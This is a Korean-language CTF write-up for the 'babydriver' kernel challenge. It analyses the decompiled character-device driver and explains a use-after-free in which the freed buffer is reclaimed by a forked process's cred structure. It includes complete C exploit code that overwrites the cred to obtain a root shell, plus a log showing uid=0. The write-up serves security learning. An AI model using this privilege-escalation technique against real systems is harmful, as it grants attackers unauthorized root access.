Babydriver

Analysis

babydriver_init

int __cdecl babydriver_init()
{
  int v0; // edx
  int v1; // ebx
  class *v2; // rax
  __int64 res; // rax

  if ( alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )// Register Character Device Num
  {
    cdev_init(&cdev_0, &fops);                  // chardev_cdev initialize
    cdev_0.owner = &_this_module;
    v1 = cdev_add(&cdev_0, babydev_no, 1LL);    // add character device on system
    if ( v1 >= 0 )
    {
      v2 = _class_create(&_this_module, "babydev", &babydev_no);// create device class
      babydev_class = v2;
      if ( v2 )
      {
        res = device_create(v2, 0LL, babydev_no, 0LL, "babydev");// create device
        v0 = 0;
        if ( res )
          return v0;
        printk(&create_device_failed);
        class_destroy(babydev_class);
      }
      else
      {
        printk(&class_create_failed);
      }
      cdev_del(&cdev_0);
    }
    else
    {
      printk(&unk_327);
    }
    unregister_chrdev_region(babydev_no, 1LL);
    return v1;
  }
  printk(&alloc_chardev_region_failed);
  return 1;
}

/dev/babydev 라는 character device를 등록한다.

babyopen

int __fastcall babyopen(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 0x40LL;
  printk("device open\n");
  return 0;
}

babydev_struct.device_buf = kmalloc(0x40, 0x24000c0) babydev_struct.device_buf_len = 0x40

(kmalloc은 내부적으로 kmem_cache_alloc_trace를 호출한다.)

babyioctl

// local variable allocation has failed, the output may be wrong!
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t arg3; // rbx
  __int64 result; // rax

  _fentry__(filp, *&command);
  arg3 = v3;
  if ( command == 0x10001 )`
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = _kmalloc(arg3, 0x24000C0LL);
    babydev_struct.device_buf_len = arg3;
    printk("alloc done\n");
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB);
    result = -22LL;
  }
  return result;
}

현재 device_buf를 kfree하고 요청한 크기로 새로 kmalloc한다.

babyread / babywrite

ssize_t __fastcall babyread(file *filp, char *buf, size_t length, loff_t *offset)
{
  size_t len; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buf);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > len )
  {
    v6 = len;
    copy_to_user(buf);
    result = v6;
  }
  return result;
}
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t len; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > len )
  {
    v6 = len;
    copy_from_user();
    result = v6;
  }
  return result;
}

요청한 크기가 device_buf_len보다 작다면 device_buf로 부터 copy_to_user / copy_from_user 해준다.

babyrelease

int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n");
  return 0;
}

babydev_struct.device_buf를 kfree한다.

Exploit

int fd1 = open("/dev/baby", O_RDWR);
int fd2 = open("/dev/baby", O_RDWR);

위 상황에서 두 변수는 같은 character device를 가르키므로 둘 다 babydev_struct에 접근할 수 있는데,

babyrelease시 babydev_struct.device_buf를 초기화하지 않으므로 둘 중 하나를 close한다면 나머지 하나는 kfree된 device_buf에 접근할 수 있게 된다. (uaf, dangling pointer)

fork 함수가 호출되면 프로세스에 대한 권한 정보를 복사하기 위해 copy_creds()가 내부적으로 호출되는데, 결국 cred 구조체를 kmem_cache_alloc으로 힙에 올린다.

만약 cred 구조체가 들어갈 충분한 크기의 chunk를 kfree시키면 fork때 cred 구조체가 그 chunk에 할당될 것이고, 위에서 말한 uaf로 babywrite를 통해 힙 위의 cred 구조체를 수정할 수 있는데

이때 구조체 멤버들을 적당히 0으로 덮어주면 root cred의 형태를 띄게되어 root 권한을 얻을 수 있다.

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>

int main()
{
	int efd = open("/dev/babydev", O_RDWR);
	int cfd = open("/dev/babydev", O_RDWR);

	if (efd < 0)
	{
		puts("1st open error");
		exit(1);
	}
	if (cfd < 0)
	{
		puts("2nd open error");
		exit(1);
	}

	ioctl(cfd, 0x10001, 0xa8);
	close(cfd);

	int pid = fork();

	if (pid < 0)
	{
		puts("fork error");
		exit(1);
	}

	if (!pid)
	{
		char root_cred[32] = {0};

		write(efd, root_cred, 32);
		
		sleep(1);
		if (!getuid())
		{
			system("/bin/sh");
			exit(0);
		}
	}
	else wait(0);
	close(efd);
	return 0;
}
/tmp $ ./exp
[   12.407635] device open
[   12.412365] device open
[   12.415808] alloc done
[   12.417244] device release
/tmp # id
uid=0(root) gid=0(root) groups=1000(ctf)